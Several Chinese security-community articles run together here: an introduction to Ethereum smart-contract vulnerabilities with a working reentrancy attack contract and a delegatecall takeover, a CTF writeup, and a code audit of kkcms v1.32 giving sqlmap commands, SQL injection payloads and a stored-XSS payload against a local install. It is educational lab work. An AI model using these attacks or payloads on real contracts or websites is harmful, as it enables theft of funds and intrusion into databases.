* 可以发送交易（transactions）
* 不包含相关执行代码
**合约账户**
* 拥有 ether 余额
* 含有执行代码
* 代码仅在该合约地址发生交易或者收到其他合约发送的信息时才会被执行
* 拥有自己的独立存储状态，且可以调用其他合约
（这里留一个问题：“合约账户也有公私钥对吗？若有，那么允许直接用公私钥对控制账户以太坊余额吗？”）
简单来说就是合约账户由外部账户或合约代码逻辑进行创建，一旦部署成功，只能按照预先写好的合约逻辑进行业务交互，不存在其他方式直接操作合约账户或更改已部署的合约代码。
### 2\. 代码执行限制
在初识 Solidity 时需要注意的一些代码执行限制：
以太坊在设置时为了防止合约代码出现像 “死循环” 这样的情况，添加了代码执行消耗这一概念。合约代码部署到以太坊平台后，EVM
在执行这些代码时，每一步执行都会消耗一定 Gas，Gas 可以被看作是能量，一段代码逻辑可以假设为一套
“组合技”，而外部调用者在调用该合约的某一函数时会提供数量一定的 Gas，如果这些 Gas 大于这一套 “组合技” 所需的能量，则会成功执行，否则会由于
Gas 不足而发生 `out of gas` 的异常，合约状态回滚。
同时在 Solidity 中，函数中递归调用栈（深度）不能超过 1024 层：
contract Some {
function Loop() {
Loop();
}
}
// Loop() ->
// Loop() ->
// Loop() ->
// ...
// ... (must less than 1024)
// ...
// Loop()
### 3\. 回退函数 – fallback()
在跟进 Solidity 的安全漏洞时，有很大一部分都与合约实例的回退函数有关。那什么是回退函数呢？官方文档描述到：
> A contract can have exactly one unnamed function. This function cannot have
> arguments and cannot return anything. It is executed on a call to the
> contract if none of the other functions match the given function identifier
> (or if no data was supplied at all).
fallback 函数在合约实例中表现形式即为一个不带参数没有返回值的匿名函数：
那么什么时候会执行 fallback 函数呢？
1. 当外部账户或其他合约向该合约地址发送 ether 时；
2. 当外部账户或其他合约调用了该合约一个 **不存在** 的函数时；
**注：目前已知的关于 Solidity 的安全问题大多都会涉及到 fallback 函数**
### 4\. 几种转币方法对比
Solidity 中 `<address>.transfer()`，`<address>.send()` 和
`<address>.gas().call.vale()()` 都可以用于向某一地址发送 ether，他们的区别在于：
**< address\>.transfer()</address\>**
* 当发送失败时会 `throw;` 回滚状态
* 只会传递 2300 Gas 供调用，防止重入（reentrancy）
**< address\>.send()</address\>**
* 当发送失败时会返回 `false` 布尔值
* 只会传递 2300 Gas 供调用，防止重入（reentrancy）
**< address\>.gas().call.value()()</address\>**
* 当发送失败时会返回 `false` 布尔值
* 传递所有可用 Gas 进行调用（可通过 `gas(gas_value)` 进行限制），不能有效防止重入（reentrancy）
**注：开发者需要根据不同场景合理的使用这些函数来实现转币的功能，如果考虑不周或处理不完整，则极有可能出现漏洞被攻击者利用**
例如，早期很多合约在使用 `<address>.send()` 进行转帐时，都会忽略掉其返回值，从而致使当转账失败时，后续的代码流程依然会得到执行。
### 5\. require 和 assert，revert 与 throw
`require` 和 `assert` 都可用于检查条件，并在不满足条件的时候抛出异常，但在使用上 `require`
更偏向代码逻辑健壮性检查上；而在需要确认一些本不该出现的情况异常发生的时候，就需要使用 `assert` 去判断了。
`revert` 和 `throw` 都是标记错误并恢复当前调用，但 Solidity 在 `0.4.10` 开始引入 `revert()`,
`assert()`, `require()` 函数，用法上原先的 `throw;` 等于 `revert()`。
关于这几个函数详细讲解，可以参考[文章](https://medium.com/blockchannel/the-use-of-revert-assert-and-require-in-solidity-and-the-new-revert-opcode-in-the-evm-1a3a7990e06e)。
## II. 漏洞现场还原
历史上已经出现过很多关于以太坊合约的安全事件，这些安全事件在当时的影响也是巨大的，轻则让已部署的合约无法继续运行，重则会导致数千万美元的损失。在金融领域，是不允许错误出现的，但从侧面来讲，正是这些安全事件的出现，才促使了以太坊或者说是区块链安全的发展，越来越多的人关注区块链安全、合约安全、协议安全等。
h 所以，通过一段时间的学习，在这我将已经明白的关于以太坊合约的几个漏洞原理记录下来，有兴趣的可以进一步交流。
下面列出了已知的常见的 Solidity 的漏洞类型：
1. Reentrancy – 重入
2. Access Control – 访问控制
3. Arithmetic Issues – 算术问题（整数上下溢出）
4. Unchecked Return Values For Low Level Calls – 未严格判断不安全函数调用返回值
5. Denial of Service – 拒绝服务
6. Bad Randomness – 可预测的随机处理
7. Front Running
8. Time manipulation
9. Short Address Attack – 短地址攻击
10. Unknown Unknowns – 其他未知
下面我会按照 `原理` -> `示例（代码）` -> `攻击` 来对每一类型的漏洞进行原理说明和攻击方法的讲解。
### 1\. Reentrancy
重入漏洞，在我刚开始看这个漏洞类型的时候，还是比较懵逼的，因为从字面上来看，“重入” 其实可以简单理解成 “递归” 的意思，那么在传统的开发语言里 “递归”
调用是一种很常见的逻辑处理方式，那在 Solidity 里为什么就成了漏洞了呢。在上面一部分也有讲到，在以太坊智能合约里有一些内在的执行限制，如 Gas
Limit，来看下面这段代码：
pragma solidity ^0.4.10;
contract IDMoney {
address owner;
mapping (address => uint256) balances; // 记录每个打币者存入的资产情况
event withdrawLog(address, uint256);
function IDMoney() { owner = msg.sender; }
function deposit() payable { balances[msg.sender] += msg.value; }
function withdraw(address to, uint256 amount) {
require(balances[msg.sender] > amount);
require(this.balance > amount);
withdrawLog(to, amount); // 打印日志，方便观察 reentrancy
to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时，默认会发所有的 Gas 给外部
balances[msg.sender] -= amount;
}
function balanceOf() returns (uint256) { return balances[msg.sender]; }
function balanceOf(address addr) returns (uint256) { return balances[addr]; }
}
这段代码是为了说明重入漏洞原理编写的，实现的是一个类似公共钱包的合约。任何人都可以向 `IDMoney` 存入相应的
Ether，合约会记录每个账户在该合约里的资产（Ether）情况，账户可以查询自身/他人在此合约中的余额，同时也能够通过 `withdraw`
将自己在合约中的 Ether 直接提取出来转给其他账户。
初识以太坊智能合约的人在分析上面这段代码时，应该会认为是一段比较正常的代码逻辑，似乎并没有什么问题。但是我在之前就说了，以太坊智能合约漏洞的出现其实跟自身的语法（语言）特性有很大的关系。这里，我们把焦点放在
`withdraw(address, uint256)` 函数中，合约在进行提币时，使用 `require`
依次判断提币账户是否拥有相应的资产和该合约是否拥有足够的资金可供提币（有点类似于交易所的提币判断），随后使用
`to.call.value(amount)();` 来发送 Ether，处理完成后相应修改用户资产数据。
仔细看过第一部分 I.3 的同学肯定发现了，这里转币的方法用的是 `call.value()()` 的方式，区别于 `send()` 和
`transfer()` 两个相似功能的函数，`call.value()()` 会将剩余的 Gas 全部给予外部调用（fallback 函数），而
`send()` 和 `transfer()` 只会有 `2300` 的 Gas 量来处理本次转币操作。如果在进行 Ether
交易时目标地址是个合约地址，那么默认会调用该合约的 fallback 函数（存在的情况下，不存在转币会失败，注意 payable 修饰）。
上面说了这么多，显然地，在提币或者说是合约用户在转币的过程中，存在一个递归 `withdraw`
的问题（因为资产修改在转币之后），攻击者可以部署一个包含恶意递归调用的合约将公共钱包合约里的 Ether 全部提出，流程大致是这样的：
**（读者可以直接先根据上面的`IDMoney` 合约代码写出自己的攻击合约代码，然后在测试环境中进行模拟）**
我实现的攻击合约代码如下：
contract Attack {
address owner;
address victim;
modifier ownerOnly { require(owner == msg.sender); _; }
function Attack() payable { owner = msg.sender; }
// 设置已部署的 IDMoney 合约实例地址
function setVictim(address target) ownerOnly { victim = target; }
// deposit Ether to IDMoney deployed
function step1(uint256 amount) ownerOnly payable {
if (this.balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
// withdraw Ether from IDMoney deployed
function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}
// selfdestruct, send all balance to owner
function stopAttack() ownerOnly {
selfdestruct(owner);
}
function startAttack(uint256 amount) ownerOnly {
step1(amount);
step2(amount / 2);
}
function () payable {
if (msg.sender == victim) {
// 再次尝试调用 IDCoin 的 sendCoin 函数，递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}
使用 `remix-ide` 模拟攻击流程：
著名导致以太坊硬分叉（ETH/ETC）的 [The DAO](https://blog.slock.it/the-history-of-the-dao-and-lessons-learned-d06740f8cfa5) 事件就跟重入漏洞有关，该事件导致 60 多万以太坊被盗。
### 2\. Access Control
访问控制，在使用 Solidity 编写合约代码时，有几种默认的变量或函数访问域关键字：`private`, `public`, `external` 和
`internal`，对合约实例方法来讲，默认可见状态为 `public`，而合约实例变量的默认可见状态为 `private`。
* public 标记函数或变量可以被任何账户调用或获取，可以是合约里的函数、外部用户或继承该合约里的函数
* external 标记的函数只能从外部访问，不能被合约里的函数直接调用，但可以使用 `this.func()` 外部调用的方式调用该函数
* private 标记的函数或变量只能在本合约中使用（注：这里的限制只是在代码层面，以太坊是公链，任何人都能直接从链上获取合约的状态信息）
* internal 一般用在合约继承中，父合约中被标记成 internal 状态变量或函数可供子合约进行直接访问和调用（外部无法直接获取和调用）
Solidity 中除了常规的变量和函数可见性描述外，这里还需要特别提到的就是两种底层调用方式 `call` 和 `delegatecall`：
* `call` 的外部调用上下文是外部合约
* `delegatecall` 的外部调用上下是调用合约上下文
简单的用图表示就是：
合约 A 以 `call` 方式调用外部合约 B 的 `func()` 函数，在外部合约 B 上下文执行完 `func()` 后继续返回 A
合约上下文继续执行；而当 A 以 `delegatecall` 方式调用时，相当于将外部合约 B 的 `func()`
代码复制过来（其函数中涉及的变量或函数都需要存在）在 A 上下文空间中执行。
下面代码是 OpenZeppelin CTF 中的题目：
pragma solidity ^0.4.10;
contract Delegate {
address public owner;
function Delegate(address _owner) {
owner = _owner;
}
function pwn() {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function () {
if (delegate.delegatecall(msg.data)) {
this;
}
}
}
仔细分析代码，合约 Delegation 在 fallback 函数中使用 `msg.data` 对 Delegate 实例进行了
`delegatecall()` 调用。`msg.data` 可控，这里攻击者直接用 `bytes4(keccak256("pwn()"))` 即可通过
`delegatecall()` 将已部署的 Delegation `owner` 修改为攻击者自己（msg.sender）。
使用 `remix-ide` 模拟攻击流程：
2017 年下半年出现的智能合约钱包 Parity 被盗事件就跟未授权和 `delegatecall` 有关。
**（注：本文上部主要讲解了以太坊智能合约安全的研究基础和两类漏洞原理实例，在《以太坊智能合约安全入门了解一下（下）》中会补全其他几类漏洞的原理讲解，并有一小节
“自我思考” 来总结我在学习和研究以太坊智能合约安全时遇到的细节问题）**
## 参考链接
* <http://solidity.readthedocs.io/en/v0.4.21/contracts.html#fallback-function>
* <https://consensys.github.io/smart-contract-best-practices/recommendations/#be-aware-of-the-tradeoffs-between-send-transfer-and-callvalue>
* <http://www.cryptologie.net/>
* <https://ethereum.stackexchange.com/questions/7570/whats-a-fallback-function-when-using-address-send>
* <https://www.dasp.co/>
* <https://www.youtube.com/playlist?list=PLUMwusiHZZhpf8ItZBkR95ekkMGNKvuNR>
## 关于我们
0Kee
Team隶属于360信息安全部，360信息安全部致力于保护内部安全和业务安全，抵御外部恶意网络攻击，并逐步形成了一套自己的安全防御体系，积累了丰富的安全运营和对突发安全事件应急处理经验，建立起了完善的安全应急响应系统，对安全威胁做到早发现，早解决，为安全保驾护航。技术能力处于业内领先水平，培养出了较多明星安全团队及研究员，研究成果多次受国内外厂商官方致谢，如微软、谷歌、苹果等，多次受邀参加国内外安全大会议题演讲。目前主要研究方向有区块链安全、WEB安全、移动安全（Android、iOS）、网络安全、云安全、IOT安全等多个方向，基本覆盖互联网安全主要领域。 | 社区文章 |
# 【技术分享】2016年京津冀大学生网络安全知识技能挑战赛writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客-yang24cx
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者： yang24cx**
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**
**
**0x01 签到题**
原图半天没扫出来，做了个反色，再扫，成功。
**0x02 Hello**
查看页面的代码发现如下表达式，要求sha1(var)==Ciphertext，显然这里的Ciphertext应该是个变量。
发现请求页面时响应头部有Ciphertext的值。
那思路就很清晰了：访问页面获得sha1()括号中的字符串以及头部的Ciphertext的值，通过暴力穷举的方式找到满足条件的三个数字
脚本如下：
跑了之后竟然得到这个，还需要算个表达式；
大同小异，继续提取页面中的表达式eval()计算提交即可：
**0x03 crack MD5**
访问页面得到如下返回，大意是第二行的是md5密文，其对应的明文就是第三行的那些字母，不过顺序被打乱了。
看明白题思路就清晰了：首先访问页面，提取密文及明文字符串，对明文字符串进行排列组合并加密，将结果与已给的密文比较即可。
但是这样做很耗时，大部分情况都是too late，不过还好，时不时能跑出来一次。
**0x04 破解**
文件是个压缩包，解压还要密码，丢到某破解软件中，提示加密的文件为0。
那应该是伪加密了，用十六进制编辑器打开，将文件相应的标志位0900修改为0800即可。
解压文件得到noflag.gif。
并没有什么，想用记事本打开图片，竟然把我电脑卡死了。继续用winhex打开。
发现有一大长串似乎是base64码的字母，提取出来解码，发现解码后还是base64，有情况啊！继续解码，还是base64，三次之后解出含gif字样的内容，应该是张图片。
用base64直接解码成图片
图片是动的，flag一闪一闪很难定格。用gif编辑器打开图片得到flag。
**0x05 tryhard**
加密部分算法，flag{******}每个字符会生成一个两位的16进制形式的字符，而密文40位，所以flag{*****}共20位，其中key=******长14位，对于从flag{*****}开始的每一个字符，加密过程由key中的[0,7],[1,8]……位依次参与迭代运算：
加密算法迭代化简一下就更清晰了：
由于flag{********}中flag{}及其对应的密文是已知的，在mod251之后i,j可认为是[0,251]之间的数，带进去暴力破解即可
求得i,j分别等于15和198。
现已知i,j那么密文中flag{*****}对应*******的那一串根据化简出来的表达式，反带即可
**0x06 re50**
这是我队友做的，打完比赛他就出去玩了，我帮他写一下，不周之处还请包涵。IDA载入看到verify函数，里面的v2[]数组即是flag。
**0x07 cry50**
首先base64解码密文Ot7lAO72opsedkxTngbD3FhwP50x8sosA f9oL
OkIpr8PN7J0Omq7nWxvgvaiRn+Tp95zcTDj，
解码后的密文前16位即是salt，后面是crypt()加密的结果，key已知，salt已知，则sha1(key+salt).digest()可知，然后将结果及解码后密文crypt()加密的部分丢进去，解密即可得到flag。 | 社区文章 |
继初次选择xhcms审计审计之后，对代码审计来了兴趣，一处处分析，经历失败，重来，最后找到漏洞点的过程确实很不错。因此，在喜欢xhcms审计结束后就马不停蹄找了个小众一点的cms再开启一次审计，熟悉熟悉，之后计划开始浮现tp,yii之类框架内容，且行且记吧。
[toc]
## 审计过程
### 一、环境安装
直接去github搜一搜kkcms源码，我这里选择了较老的版本:
**kkcms-v1.32**
github源码地址：<https://github.com/erichuang2015/kkcms>
安装环境：
使用phpstudy
5.6.27+mysql5.5.53进行搭建（这个cms版本比较老，用php高版本会出问题）。下载后，源码解压到phpstudy根目录，启动phpstudy，访问并安装即可。
**ps:（安装时记得提前在phpstudy中mysql管理创建一个数据库（我这里创建一个kkcms数据库使用））**
出现这样的界面就安装完成了：
### 二、先看看目录结构，了解下整体情况
都是些常见目录结构，这里就不一一介绍了。先直接丢进seay审计工具中看一下：
还不少，224个可疑点，那就以这个为线索，慢慢来看：
### 三、漏洞
#### SQL注入
##### ucenter/reg.php
seay报警此文件存在sql注入漏洞，打开看一下代码：
<?php
include('../system/inc.php');
if(isset($_SESSION['user_name'])){
header('location:index.php');
};
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
if(mysql_fetch_array($query)){
echo '<script>alert("用户名已存在，请换个其他的用户名");window.history.go(-1);</script>';
exit;
}
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
if(mysql_fetch_array($result)){
echo '<script>alert("邮箱已存在，请换个其他的邮箱");window.history.go(-1);</script>';
exit;
}
1. **stripslashes()函数**
stripslashes() 函数删除由 [addslashes()](https://www.runoob.com/php/func-string-addslashes.html) 函数添加的反斜杠。
**提示：** 该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
1. **trim()函数**
trim() 函数移除字符串两侧的空白字符或其他预定义字符（默认为NULL、\t、\n、\r、空格等）。
$username变量经过stripslashes()
函数和trim()函数处理后，单引号包裹带入查询，那么有去除反斜杠，前面因该有addlashes()函数添加反斜杠才对：因此追踪包含文件，
**../system/inc.php**
<?php
require_once('conn.php');
require_once('library.php');
require_once('function.php');
require_once('config.php');
?>
一个个查看，最后在 **../system/library.php** 文件中看到：
<?php
if (!defined('PCFINAL')) {
exit('Request Error!');
}
if (!get_magic_quotes_gpc()) {
if (!empty($_GET)) {
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST)) {
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
function addslashes_deep($_var_0)
{
if (empty($_var_0)) {
return $_var_0;
} else {
return is_array($_var_0) ? array_map('addslashes_deep', $_var_0) : addslashes($_var_0);
}
}
定义了addslashes_deep()方法对请求变量进行了转义处理，对预定义符号转义来防注入等攻击，但是。。。。问题来了，联系前面的ucenter/reg.php文件
**stripslashes()函数** 的处理，那不就是来了个负负得正吗？先添加转义，然后去除转义，带入查询，相当于没有进行防护，造成注入危险。
直接sqlmap一把梭：抓包保存，sqlmapPOST注入打一下：
可以看到已经成功注入出了数据库，后续时间关系就不等他注完了
payload：
python2 sqlmap.py -r D:\python27\sqlmap\aa.txt -p name --dbs --batch
布尔：
name=1' AND 2309=2309 AND 'tslg'='tslg&[email protected]&password=111&submit=
时间：
name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&[email protected]&password=111&submit=
那么同样的思路，是不是所有引用了stripslashes()函数的地方都应该有同样的漏洞呢？想到就试试：全局搜索stripslashes()有：
果然有发现，进去文件详细审查一下：
##### ucenter/active.php
<?php
include('../system/inc.php');
$verify = stripslashes(trim($_GET['verify']));
$nowtime = time();
$query = mysql_query("select u_id from xtcms_user where u_question='$verify'");
$row = mysql_fetch_array($query);
##### ucenter/repass.php
<?php
include('../system/inc.php');
if(isset($_SESSION['user_name'])){
header('location:index.php');
};
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$email = trim($_POST['email']);
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");
if(!! $row = mysql_fetch_array($query)){
$_data['u_password'] = md5(123456);
$sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
if (mysql_query($sql)) {
##### wap/login.php
<?php include('../system/inc.php');
$op=$_GET['op'];
if(isset($_POST['submit'])){
null_back($_POST['u_name'],'请输入用户名');
null_back($_POST['u_password'],'请输入密码');
$u_name = $_POST['u_name'];
$u_password = $_POST['u_password'];
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
$result = mysql_query($sql);
if(!! $row = mysql_fetch_array($result)){
$_data['u_loginnum'] = $row['u_loginnum']+1;
$_data['u_loginip'] =$_SERVER["REMOTE_ADDR"];
$_data['u_logintime'] =date('y-m-d h:i:s',time());
if(!empty($row['u_end'])) $u_end= $row['u_end'];
if(time()>$u_end){
$_data['u_flag'] =="0";
$_data['u_start'] =="";
$_data['u_end'] =="";
$_data['u_group'] =1;
}else{
$_data['u_flag'] ==$row["u_flag"];
$_data['u_start'] ==$row["u_start"];
$_data['u_end'] ==$row["u_end"];
$_data['u_group'] =$row["u_group"];
}
mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
$_SESSION['user_name']=$row['u_name'];
$_SESSION['user_group']=$row['u_group'];
if($_POST['brand1']){
setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365);
setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365);
}
header('location:user.php');
}else{
alert_href('用户名或密码错误或者尚未激活','login.php?op=login');
}
}
if(isset($_POST['reg'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
这三个文件中都引用了同一个 **../system/inc.php**
文件，即用addslashes_deep()方法进行变量转义处理防注入，且可控变量都同样经过stripslashes()逆转义处理，也就是同样的“
**负负得正** ”，因此，这三个文件中都一定存在如上的sql注入漏洞。这里就不进行重复造轮子去复现了。
##### template/wapian/vlist.php
seay报sql注入，打开代码瞧瞧，关键处：
<?php
if ($_GET['cid'] != 0){
?>
<?php
$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
while ($row = mysql_fetch_array($result)){
echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';
}
?>
这里对 **$_GET['cid']** 变量进行一个判断，不为零就直接单引号包裹带入查询中，这简直就是没有任何防护，那么，根据前面的经验，只要没有引用
**../system/inc.php** 文件，即用addslashes_deep()方法进行变量转义处理防注入，那么不久可以直接开始注入了？看看去：
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<?php include 'head.php';?>
<title>视频列表-<?php echo $xtcms_seoname;?></title>
<meta name="keywords" content="视频排行,<?php echo $xtcms_keywords;?>">
<meta name="description" content="<?php echo $xtcms_description;?>">
</head>
<body >
<?php include 'header.php'; ?>
<div class="container">
<div class="row" style="margin-top:10px"><?php echo get_ad(18)?></div>
<div class="row">
向上查找，到文件头，果然没有发现任何引用 **../system/inc.php** 文件的迹象，hahaha,注入到手咯，实现一下：
直接访问文件路径，截取GET变量cid,sqlmap梭一把，
python2 sqlmap.py -u "http://127.0.0.1/template/wapian/vlist.php?cid=1" --dbs --batch
直接出结果，下一个
##### admin/cms_backup.php
seay报注入漏洞，我们先看看关键代码：
$q1=mysql_query("show tables");
while($t=mysql_fetch_array($q1)){
$table=$t[0];
$q2=mysql_query("show create table `$table`");
$sql=mysql_fetch_array($q2);
$mysql.=$sql['Create Table'].";\r\n";
$q3=mysql_query("select * from `$table`");
while($data=mysql_fetch_assoc($q3)){
$keys=array_keys($data);
$keys=array_map('addslashes',$keys);
$keys=join('`,`',$keys);
$keys="`".$keys."`";
$vals=array_values($data);
$vals=array_map('addslashes',$vals);
$vals=join("','",$vals);
$vals="'".$vals."'";
$mysql.="insert into `$table`($keys) values($vals);\r\n";
}
}
**array_map() 函数**
将用户自定义函数作用到数组中的每个值上，并返回用户自定义函数作用后的带有新的值的数组。
**提示：** 您可以向函数输入一个或者多个数组。array_map( _myfunction,array1,array2,array3_...)
可以看到，$vals变量经过 **array_map() 函数** 处理后，全部经过了addlashes()转义处理来防止注入(
**addslashes() 函数返回在预定义字符(单·双引号、反斜杠（\）、NULL)之前添加反斜杠的字符串。** )，之后经过
**$vals="'".$vals."'";** 语句处理，添加单引号包裹，就完全杜绝了sql注入的可能性，无法构造闭合。（ **ps:**
要是这里没有添加单引号，此处语句括号闭合不在该函数的预定义字符内，则就实际上等于没有防护到，还是可以注入，十分可惜）。另一个变量 **$keys**
几乎是一样的情况，甚至防护更严格，因此也不存在注入，综上，此处属于seay的误报。
不纠结，下一处：
##### /template/wapian/vlist.php
直接看关键代码：
<?php
if ($_GET['cid'] != 0){
?>
<?php
$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
while ($row = mysql_fetch_array($result))
{
echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';
}
?>
对$_GET['cid']变量，不经过滤，直接单引号包裹，文件头没有引入转义函数文件，带入查询，典型的sql注入：sql注入（但是这里审计出来的代码闭合方式应该是单引号闭合，但是测试却失败了，这是怎么回事？）sqlmap跑一下看看：
python2 sqlmap.py -u "http://127.0.0.1/template/wapian/vlist.php?cid=1" --dbs --batch
可以看到，注出了数据库，payload:
cid=1) UNION ALL SELECT NULL,NULL,CONCAT(0x7162717a71,0x4572725a7062476e5a734c4f51454742724f4579755449744967454b6a695461545a4857576a7952,0x7170706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
（闭合竟然是小括号？）这是为什么？先放过，之后再来研究。
##### visit.php
这个文件有注入漏洞，那么自然有理由推断，引用这个文件的文件也有相同的漏洞，所以全局搜索template/wapian/vlist.php文件，然后发现：
在很多文件如：
seacher.php, tv.php, ustv.php, wxseacher.php，vlist.php等文件中都有相同引用：
include('template/'.$xtcms_bdyun.'/wxseacher.php');
这里的 **$xtcms_bdyun**
向上回溯实际上就是wapian，是从xtcms_vod_class这个数据库表中查询出的数据，因此是固定的。但是，在这些文件中，大部分都有关于
**include('system/inc.php');** 文件的引用，我们知道system/inc.php文件中又有
**require_once('function.php');**
文件的引用，即进行转义处理，也就断绝了sql注入。而只有visit.php这个文件中，代码如下：
<?php
if ($_GET['cid'] != 0){
?>
<?php
$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
while ($row = mysql_fetch_array($result)){
echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';
}
?>
并没有对转义文件的引用，因此肯定存在该注入漏洞，直接sqlmap 跑一下，即可。
##### **admin/cms_book_edit.php**
<?php
$result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');
if ($row = mysql_fetch_array($result)){
?>
有数据库交互，单引号闭合，不过文件头引入了 **../system/inc.php** 文件进行转义防注入处理，因此属于seay误报，同样的情况在
admin/cms_ad_edit.php
admin/cms_admin_edit.php
等文件中也相同出现，都有转义引用，而没有stripslashes() 函数去除预定义字符的处理，因此这写文件中的报洞都属于误报。
##### admin/youlian_edit.php
<?php
if (isset($_POST['save'])) {
$_data['content'] = $_POST['content'];
$_data['Reply'] = $_POST['Reply'];
$sql = 'update xtcms_youlian set ' . arrtoupdate($_data) . ' where id = ' . $_GET['id'] . '';
if (mysql_query($sql)) {
alert_href('修改成功!', 'cms_youlian.php');
} else {
alert_back('修改失败!');
}
}
**$_GET['id']** 变量单引号闭合带入查询，且文件未引入转移保护，存在注入，sqlmap直接跑：
python2 sqlmap.py -u "http://127.0.0.1/admin/youlian_edit.php?id=1" --dbs --batch
直接出数据库
##### admin/ad_edit.php 引用了模块文件admin/model/ad_edit.php
#admin/model/ad_edit.php
<?php
if (isset($_GET['del'])) {
$sql = 'delete from xtcms_ad where id = ' . $_GET['del'] . '';
if (mysql_query($sql)) {
alert_href('删除成功!', 'cms_ad.php');
} else {
alert_back('删除失败！');
}
}
if (isset($_POST['save'])) {
null_back($_POST['title'], '请填写广告名称');
$data['title'] = $_POST['title'];
$data['pic'] = $_POST['pic'];
$data['url'] = $_POST['url'];
$data['catid'] = $_POST['catid'];
$sql = 'update xtcms_ad set ' . arrtoupdate($data) . ' where id = ' . $_GET['id'] . '';
if (mysql_query($sql)) {
alert_href('广告修改成功!', 'cms_ad.php');
} else {
alert_back('修改失败!');
}
}
同样的问题，可控变量直接拼接进查询，没有任何过滤，同样没有引入转义函数文件，应该存在注入,直接sqlmap一把梭。(而且这里还不只$_GET['id']一个变量，还有$_GET['del']变量可以同样的方式利用来注入)
payload：
python2 sqlmap.py -u "http://127.0.0.1/admin/ad_edit.php?id(或者del)=1" --dbs --batch
##### /admin/cms_usergroup.php 引用模块文件admin/model/usergroup.php
<?php
if ($_GET['del'] == 1) {
alert_back('默认会员组不能删除！');
} else {
if (isset($_GET['del'])) {
$sql = 'delete from xtcms_user_group where ug_id = ' . $_GET['del'] . '';
if (mysql_query($sql)) {
alert_href('删除成功!', 'cms_usergroup.php');
} else {
alert_back('删除失败！');
}
}
}
if (isset($_POST['save'])) {
null_back($_POST['ug_name'], '请填写名称');
$data['ug_name'] = $_POST['ug_name'];
$str = arrtoinsert($data);
$sql = 'insert into xtcms_user_group (' . $str[0] . ') values (' . $str[1] . ')';
if (mysql_query($sql)) {
alert_href('添加成功!', 'cms_usergroup.php');
} else {
alert_back('添加失败!');
}
}
一模一样的问题，但是这个主文件 **/admin/cms_usergroup.php**
中引用了转义文件来防注入，此处又进行了单引号包裹，应该是杜绝了sql注入的道路了呀，但是我看网上的师傅们又直接用类似
id=1%20and%20ascii(left(database(),1))=106--+ #回显错误
id=1%20and%20ascii(left(database(),1))=107--+ #回显正常
证明数据库第一个字母为k
或者
?del=2%20and%20sleep(10)延时
的payload 成功进行了sql注入，我进行复现也确实能做到， **可这和前面的分析互相矛盾了呀，这是为什么呢？有大师傅知道可以讲解一下吗？**
那么按照相同的思路，去查找到了后台所有的删除有关的文件，发现情况都是一样，因此这个cms存在一个全后台的delete删除的注入漏洞。
#### XSS
##### /youlian.php 存储型xss
<?php
include('system/inc.php');
if(isset($_POST['submit'])){
null_back('admin','.');
null_back($_POST['content'],'你的链接及网站名');
$data['userid'] = $_POST['userid'];
$data['content'] =addslashes($_POST['content']);
$data['time'] =date('y-m-d h:i:s',time());
$str = arrtoinsert($data);
$sql = 'insert into xtcms_youlian ('.$str[0].') values ('.$str[1].')';
if(mysql_query($sql)){
alert_href('申请成功！请耐心等待管理员核实！谢谢！','youlian.php');
}
else{
alert_back('申请失败！请联系网站底部邮箱申请吧！');
}
引入转义文件转义防sql注入，变量content经过 **null_back()**
函数处理，（该函数可以全局搜索到定义，作用是判断字符串内容是否为空，没有任何过滤）又使用addlashes()方法处理变量，防注入，其他变量都没问题，但这个
**$_POST['content']**
变量，不是又经过了双层转义处理？那么对xss的防御效果自然就没了，而且这里和后台交互，应该可以形成一个存储型xss:
payload:
<script>alert(/123456/)</script>
留言，然后进后台查看，成功弹窗，存储型xss一枚：
同样的思路，直接全局搜索
